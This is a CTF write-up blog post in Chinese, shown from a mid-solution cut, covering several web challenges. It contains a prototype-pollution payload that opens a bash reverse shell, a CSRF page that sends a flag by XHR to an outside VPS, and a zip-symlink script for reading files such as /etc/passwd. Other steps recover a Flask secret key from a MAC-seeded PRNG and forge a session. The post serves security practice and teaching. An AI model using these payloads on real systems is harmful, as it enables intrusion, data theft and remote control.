Content-Length: 238

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >&/dev/tcp/ip/port 0>&1'\").toString();"}}
html

注意Content-Type: application/json

3150d5aa350ae1c5ebb8ed4568d155aa

[GKCTF 2021]CheckBot#

考点CSRF

扫目录发现index.phpadmin.php

注释中有提示

<!--
    I am a check admin bot, I will check your URL file suffix!
    ------------------------------------------------------------
    POST url for bot!
-->
html

admin.phpid=flag的元素但提示

<p id="flag">no!you are 222.168.40.174</p>
html

应该是要本地访问鉴权就会回显flag,在index.php以POST方式传url,机器人会在后台点击我们发送的链接,带出flag传回到我们的vps上

关闭防火墙systemctl stop firewalld.service,开启http服务访问html文件python3 -m http.server 8000

exp:

<html>
        <body>
                <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
                <script>
                        window.onload = function(){
                        /* Prepare flag */
                        let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                        /* Export flag */
                        var exportFlag = new XMLHttpRequest();
                        exportFlag.open('get', 'http://39.106.249.221:9000/flagis-' + window.btoa(flag));
                        exportFlag.send();
                        }
                </script>
        </body>
</html>
html

监听端口可得到flag

[HCTF 2018]Hideandseek#

考点软链接读取文件Flask Session伪造

导航栏并没有绑定路由,直接任意密码登录发现上传zip的功能点,猜测为软链接

尝试制作软链接读取/etc/passwd

ln -s /etc/passwd passwd
zip -y passwd.zip passwd
zsh

上传passwd.zip成功读取文件,尝试读取/flag,无回显

因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,同时发现Cookie中存在Session,考点为FlaskSession伪造,先解密一下

[root@CentOs flask-session-cookie-manager-master]# python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6IjEifQ.GSiToA.SThbegmgGhHvJoxadFI0rgHhCfY'
b'{"username":"1"}'
bash

想要伪造Session要知道Secret_Key,一般记录在源码中,需要找到源码位置后,配合软链接读取

这里为了快速读取需要的信息,参考网上WP写一个自动化脚本

#coding=utf-8
import os
import requests
import sys

url = 'http://276bbd4d-16c0-428b-9bda-462c941d026f.node5.buuoj.cn/upload'
def makezip():
    os.system('ln -s '+sys.argv[1]+' exp')
    os.system('zip --symlinks exp.zip exp')
makezip()

files = {'the_file':open('./exp.zip','rb')}
def exploit():
    res = requests.post(url,files=files)
    print(res.text)

exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')
python

访问Linux的/proc/self/environ文件,它存放着环境变量,也就包括flask下的环境变量

[root@CentOs softlink]# python3 exp.py /proc/self/environ
/usr/local/lib/python3.6/site-packages/requests/__init__.py:104: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
  RequestsDependencyWarning)
  adding: exp (stored 0%)
KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_SERVICE_PORT=443HOSTNAME=outSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchKUBERNETES_PORT_443_TCP_ADDR=10.240.0.1PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpLANG=C.UTF-8PYTHON_VERSION=3.6.8KUBERNETES_SERVICE_PORT_HTTPS=443NGINX_WORKER_PROCESSES=1KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443LISTEN_PORT=80STATIC_INDEX=0PWD=/appKUBERNETES_SERVICE_HOST=10.240.0.1PYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag
bash

给了/app/uwsgi.ini,而这个文件是uwsgi.ini配置文件,这里学习到这是uwsgi服务器的配置文件,其中可能包含有源码路径,生产上一般使用client —> nginx —> uwsgi --> flask后台程序的流程,读取其内容

[uwsgi]
module = main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
shell

由于buu环境配置问题导致此处源码路径错误,在网上找到正确的的源码路径读取

python3 exp.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)
python

app.config['SECRET_KEY'] = str(random.random()*100)这里的密钥是随机生成的,但是给了种子random.seed(uuid.getnode()),我们知道这个random是著名的伪随机数,我们只要知道播了的种子就能够生成和它产生一样的随机数

seed

发现uuid.getnode()的作用为返回Mac地址的十进制,类似算PIN时,搭配文件读取即可获得

python3 exp.py /sys/class/net/eth0/address
ae:bd:94:bf:71:e9
bash

calc

将其转化为十进制,本地运行得到key

#coding=utf-8
import random

seed = 192129267626473
random.seed(seed)
secret_key = str(random.random()*100)
print(secret_key)
# 41.64679886573448
python

ceb0db1d3ce504ff554de9f5f0577952

伪造session后登陆可得flag

Web经典题目复现
https://www.orac1e.me/blog/ctf/exercise
Author Orac1e
Published at May 2, 2024
Comment seems to stuck. Try to refresh?✨